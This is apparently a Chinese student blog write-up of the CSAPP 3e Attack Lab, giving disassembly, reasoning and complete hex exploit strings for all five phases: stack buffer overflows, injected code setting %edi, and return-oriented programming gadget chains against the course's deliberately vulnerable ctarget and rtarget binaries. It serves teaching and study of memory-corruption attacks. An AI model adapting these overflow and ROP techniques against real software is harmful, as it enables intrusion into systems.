CSAPP 3e: Attack Lab
注意：开始这个实验之前请仔细阅读这个实验的readme和writup（实验说明和实验攻略），仔细阅读之后，事半功倍。
我使用的是从官网下载下来的self-study handout,实验过程中不连接服务器（单机版的感觉），所以不涉及计分板这些东西，如果想要了解，参看readme文档。
phase1:
由文档writup可知，这一关是对ctarget文件的操作，实验目的是，通过利用缓冲区溢出漏洞，调用函数touch1()。
void touch1() { vlevel = 1;/* Part of validation protocol */ printf("Touch1!: You called touch1()\n"); validate(1); exit(0); }
解析：这一关很简单，只要你知道touch1()函数的地址，用该地址替换本来在栈顶的那个地址就行，即利用ret指令，使程序跳转到touch1()函数。
参看ctarget的反汇编文件：
00000000004017a8 <getbuf>: 4017a8: 48 83 ec 28 sub $0x28,%rsp 4017ac: 48 89 e7 mov %rsp,%rdi 4017af: e8 8c 02 00 00 callq 401a40 <Gets> 4017b4: b8 01 00 00 00 mov $0x1,%eax 4017b9: 48 83 c4 28 add $0x28,%rsp 4017bd: c3 retq 4017be: 90 nop 4017bf: 90 nop 00000000004017c0 <touch1>: 4017c0: 48 83 ec 08 sub $0x8,%rsp 4017c4: c7 05 0e 2d 20 00 01 movl $0x1,0x202d0e(%rip) # 6044dc <vlevel> 4017cb: 00 00 00 4017ce: bf c5 30 40 00 mov $0x4030c5,%edi 4017d3: e8 e8 f4 ff ff callq 400cc0 <puts@plt> 4017d8: bf 01 00 00 00 mov $0x1,%edi 4017dd: e8 ab 04 00 00 callq 401c8d <validate> 4017e2: bf 00 00 00 00 mov $0x0,%edi 4017e7: e8 54 f6 ff ff callq 400e40 <exit@plt>
程序运行后先调用getbuf（）函数，这个函数有溢出漏洞，溢出之后的内容会覆盖栈顶。在本例中，缓冲区大小为0x28，即40个字节，超出40个字节后就是溢出的内容了。
再看touch1的地址，0x4017c0;我们就知道该怎么编辑第一关的解题字符串了。
fa 97 b9 59 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 17 40 00 00 00 00 00 00 00 /* 这里是溢出内容，0x4017c0是touch1的地址,注意栈是8字节的 */
用hex2raw将该touch1.txt文档转换成16进制字符串文档touch1_raw.txt：hex2raw <touch1.txt>touch1_raw.txt。
然后在GDB（GDB ctarget）中运行： r -q <touch1_raw.txt
第一关,通过！
phase2:目的：调用touch2,看函数也可以知道，调用touch2需要传递一个与cookie一样的unsigned值，函数第一个参数在汇编里通过寄存器%rdi来传递。
void touch2(unsigned val) { vlevel = 2;/* Part of validation protocol */ if (val == cookie) { printf("Touch2!: You called touch2(0x%.8x)\n", val); validate(2); } else { printf("Misfire: You called touch2(0x%.8x)\n", val); fail(2); } exit(0); }
反汇编代码
00000000004017ec <touch2>: 4017ec: 48 83 ec 08 sub $0x8,%rsp 4017f0: 89 fa mov %edi,%edx #%edi传递cookie的值。 4017f2: c7 05 e0 2c 20 00 02 movl $0x2,0x202ce0(%rip) # 6044dc <vlevel> 4017f9: 00 00 00 4017fc: 3b 3d e2 2c 20 00 cmp 0x202ce2(%rip),%edi # 6044e4 <cookie>，即0x202ce2(%rip)上就是cookie，这里是验证输入值是否正确 401802: 75 20 jne 401824 <touch2+0x38> 401804: be e8 30 40 00 mov $0x4030e8,%esi 401809: bf 01 00 00 00 mov $0x1,%edi 40180e: b8 00 00 00 00 mov $0x0,%eax 401813: e8 d8 f5 ff ff callq 400df0 <__printf_chk@plt> 401818: bf 02 00 00 00 mov $0x2,%edi 40181d: e8 6b 04 00 00 callq 401c8d <validate> 401822: eb 1e jmp 401842 <touch2+0x56> 401824: be 10 31 40 00 mov $0x403110,%esi 401829: bf 01 00 00 00 mov $0x1,%edi 40182e: b8 00 00 00 00 mov $0x0,%eax 401833: e8 b8 f5 ff ff callq 400df0 <__printf_chk@plt> 401838: bf 02 00 00 00 mov $0x2,%edi 40183d: e8 0d 05 00 00 callq 401d4f <fail> 401842: bf 00 00 00 00 mov $0x0,%edi 401847: e8 f4 f5 ff ff callq 400e40 <exit@plt>
解析：为了实现将cookie作为参数传递给touch2,我们需要在调用touch2之前先将cookie传递给%edi : bf fa 97 b9 59 c3
bf就是mov $立即数,%edi, fa 97 b9 59 是我的cookie值， c3 是ret指令。
我需要用getbuf的ret跳转到指令bf fa 97 b9 59 mov 0x59b997fa,%edi ,再通过这条mov指令之后的ret指令跳转到touch2，地址0x4017ec。
这是我的答案
bf fa 97 b9 59 c3 00 00 /* mov 0x59b997fa,%edi */ /* ret */ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 dc 61 55 00 00 00 00 /* getbuf的ret跳转，跳转到字符串开头，即执行上边的那个mov代码 */ ec 17 40 00 00 00 00 00 /* 字符串开头那指令后的ret跳转，跳转到touch2函数 */
用hex2raw将该touch2.txt文档转换成16进制字符串文档touch2_raw.txt：hex2raw <touch2.txt>touch2_raw.txt。
然后在GDB（GDB ctarget）中运行： r -q <touch2_raw.txt
第二关，通过！
phase3: 调用touch3,touch3的参数是一个指向字符串的地址，字符串的内容是cookie，不是unsigned值，而是字符串形式的。
/* Compare string to hex represention of unsigned value */ int hexmatch(unsigned val, char *sval) { char cbuf[110]; /* Make position of check string unpredictable */ char *s = cbuf + random() % 100; sprintf(s, "%.8x", val); return strncmp(sval, s, 9) == 0; }
void touch3(char *sval) { vlevel = 3;/* Part of validation protocol */ if (hexmatch(cookie, sval)) { printf("Touch3!: You called touch3(\"%s\")\n", sval); validate(3); } else { printf("Misfire: You called touch3(\"%s\")\n", sval); fail(3); } exit(0); }
解析：我们需要传递一个指向字符串的地址，作为touch2的（第一个）参数，所以还是需要 mov $立即数,%edi 这个指令。其实不过是touch2的升级，只不过传递给%edi的一个是数值，一个是地址值。
这里是答案
35 39 62 39 39 37 66 61 /* cookie值得字符串，“59b997fa” */ 00 00 00 00 00 00 00 00 bf 78 dc 61 55 c3 00 00 /* mov $0x5561dc78,%edi */ /* ret */ 00 00 00 00 00 00 00 00 /* 0x5561dc78是字符串"59b997fa"的首地址 */ 00 00 00 00 00 00 00 00 88 dc 61 55 00 00 00 00 /* 用ret跳转到mov &0x5561dc78,%edi 指令 */ fa 18 40 00 00 00 00 00 /* 用ret跳转到touch3函数 */
验证
第三关，通过！
phase4:注意！从这一关开始的最后两关，是对rtarget的操作，要使用的是ROP攻击方法。这一关里要求用ROP方法重复实现第二关的挑战。同时注意这一关只能使用farmc中的前半段，即：
0000000000401994 <start_farm>: 401994: b8 01 00 00 00 mov $0x1,%eax 401999: c3 retq 000000000040199a <getval_142>: 40199a: b8 fb 78 90 90 mov $0x909078fb,%eax 40199f: c3 retq 00000000004019a0 <addval_273>: 4019a0: 8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax ;89 c7. 4019a6: c3 retq 00000000004019a7 <addval_219>: 4019a7: 8d 87 51 73 58 90 lea -0x6fa78caf(%rdi),%eax 4019ad: c3 retq 00000000004019ae <setval_237>: 4019ae: c7 07 48 89 c7 c7 movl $0xc7c78948,(%rdi) 4019b4: c3 retq 00000000004019b5 <setval_424>: 4019b5: c7 07 54 c2 58 92 movl $0x9258c254,(%rdi) 4019bb: c3 retq 00000000004019bc <setval_470>: 4019bc: c7 07 63 48 8d c7 movl $0xc78d4863,(%rdi) 4019c2: c3 retq 00000000004019c3 <setval_426>: 4019c3: c7 07 48 89 c7 90 movl $0x90c78948,(%rdi) ;89 c7 > movl %eax,%edi. 4019c9: c3 retq 00000000004019ca <getval_280>:11 4019ca: b8 29 58 90 c3 mov $0xc3905829,%eax 4019cf: c3 retq 00000000004019d0 <mid_farm>: 4019d0: b8 01 00 00 00 mov $0x1,%eax 4019d5: c3 retq
解析：要带参数调用touch2，必不可少的就是向%edi传递cookie值。通过观察可以用的代码，发现可以这样实现。
pop %rax /* 出栈将cookie值传递给%rax */ ret /* 跳转到下一个指令 */ mov %eax,%edi /* cookie值传给%edi */ ret /* 跳转到touch2 */
然后，按照这个思路，出来了下边这个答案。
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ab 19 40 00 00 00 00 00 /* popq %rax */ fa 97 b9 59 00 00 00 00 /* cookie */ c6 19 40 00 00 00 00 00 /* movl %eax,%edi */ ec 17 40 00 00 00 00 00 /* jump to touch2 */
验证
第四关，通过！
phase5: 最后一关，要求重复实现第三关的内容，同时可以使用start_farm到end_farm之间的全部代码。（太长就不贴出来了）
这里我也是卡了好久，后来参考了网上的方法。因为第三关，这里已经是知道需要做的事情了，只不过流程不一样而已，还有受限于可以使用的代码不多。权衡之后，有了以下这个解法。
35 39 62 39 39 37 66 61 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 06 1a 40 00 00 00 00 00 /* mov %rsp,%rax */ a2 19 40 00 00 00 00 00 /* mov %rax,%rdi */ ab 19 40 00 00 00 00 00 /* pop %rax */ 48 00 00 00 00 00 00 00
dd 19 40 00 00 00 00 00 /* mov %eax,%edx */ 70 1a 40 00 00 00 00 00 /* mov %edx,%ecx */ 13 1a 40 00 00 00 00 00 /* mov %ecx,%esi */ d6 19 40 00 00 00 00 00 /* lea (%rdi,%rsi,1),%rax */ a2 19 40 00 00 00 00 00 /* mov %rax,%rdi */ fa 18 40 00 00 00 00 00 35 39 62 39 39 37 66 61 /* cookie string */ 00 00 00 00 00 00 00 00
mov %rsp,%rax /* 要通过%rsp的值，进行相对偏差修正得到字符串首地址 */
mov %rax,%rdi /* 所以将其传递给%rdi，这里用了两个指令使因为可以使用的指令中不存在 mov %rsp,%rdi。所以只好多来一步 */
pop %rax /* 出栈传给%rax的是字符串首地址与已被传递给%rdi的地址值之间的相对偏差值。
mov %eax,%edx
mov %edx,%ecx
mov %ecx,%esi /* 以上三步只是为了实现 mov %eax,%esi */
lea (%rdi,%rsi,1),%rax /* 通过运算得出字符串首地址，存储在%rax中 */
mov %rax,%rdi /* 字符串首地址传递给%rdi，之后就可以跳转到touch2函数了 */
/* cookie */ /* 这里是字符串，因为只有mov %eax,%esi 而不能做到 mov %rax,%rsi ，所以字符串位置不能相对%rsp为负值，负值会在从%rax到%eax的过程中切割，导致错误的值，所以只好把字符串放在了末尾，相对%rsp偏差为正值 */
最后，验证
第五关，通过！
结尾：这一关总算完了，终于可以好好准备开始下一个lab实验了hhh。
